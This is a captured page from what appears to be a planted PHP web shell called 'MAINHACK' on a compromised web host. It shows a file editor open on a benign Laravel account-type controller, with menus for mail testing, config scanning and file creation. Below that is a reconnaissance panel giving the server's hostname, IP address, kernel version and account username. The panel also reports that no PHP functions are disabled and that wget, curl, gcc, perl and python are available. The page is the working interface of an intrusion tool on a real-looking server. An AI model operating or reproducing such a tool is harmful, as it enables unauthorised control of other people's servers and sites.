[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AccountTypeController.php
<?php namespace App\Http\Controllers; use App\AccountType; use Illuminate\Http\Request; class AccountTypeController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (! auth()->user()->can('account.access')) { abort(403, 'Unauthorized action.'); } $business_id = session()->get('user.business_id'); $account_types = AccountType::where('business_id', $business_id) ->whereNull('parent_account_type_id') ->get(); return view('account_types.create') ->with(compact('account_types')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if (! auth()->user()->can('account.access')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'parent_account_type_id']); $input['business_id'] = $request->session()->get('user.business_id'); AccountType::create($input); $output = ['success' => true, 'msg' => __('lang_v1.added_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return redirect()->back()->with('status', $output); } /** * Display the specified resource. * * @param \App\AccountType $accountType * @return \Illuminate\Http\Response */ public function show(AccountType $accountType) { // } /** * Show the form for editing the specified resource. * * @param \App\AccountType $accountType * @return \Illuminate\Http\Response */ public function edit($id) { if (! auth()->user()->can('account.access')) { abort(403, 'Unauthorized action.'); } $business_id = session()->get('user.business_id'); $account_type = AccountType::where('business_id', $business_id) ->findOrFail($id); $account_types = AccountType::where('business_id', $business_id) ->whereNull('parent_account_type_id') ->get(); return view('account_types.edit') ->with(compact('account_types', 'account_type')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\AccountType $accountType * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (! auth()->user()->can('account.access')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'parent_account_type_id']); $business_id = $request->session()->get('user.business_id'); $account_type = AccountType::where('business_id', $business_id) ->findOrFail($id); //Account type is changed to subtype update all its sub type's parent type if (empty($account_type->parent_account_type_id) && ! empty($input['parent_account_type_id'])) { AccountType::where('business_id', $business_id) ->where('parent_account_type_id', $account_type->id) ->update(['parent_account_type_id' => $input['parent_account_type_id']]); } $account_type->update($input); $output = ['success' => true, 'msg' => __('lang_v1.updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return redirect()->back()->with('status', $output); } /** * Remove the specified resource from storage. * * @param \App\AccountType $accountType * @return \Illuminate\Http\Response */ public function destroy($id) { if (! auth()->user()->can('account.access')) { abort(403, 'Unauthorized action.'); } $business_id = session()->get('user.business_id'); AccountType::where('business_id', $business_id) ->where('id', $id) ->delete(); //Upadete parent account if set AccountType::where('business_id', $business_id) ->where('parent_account_type_id', $id) ->update(['parent_account_type_id' => null]); $output = ['success' => true, 'msg' => __('lang_v1.deleted_success'), ]; return redirect()->back()->with('status', $output); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285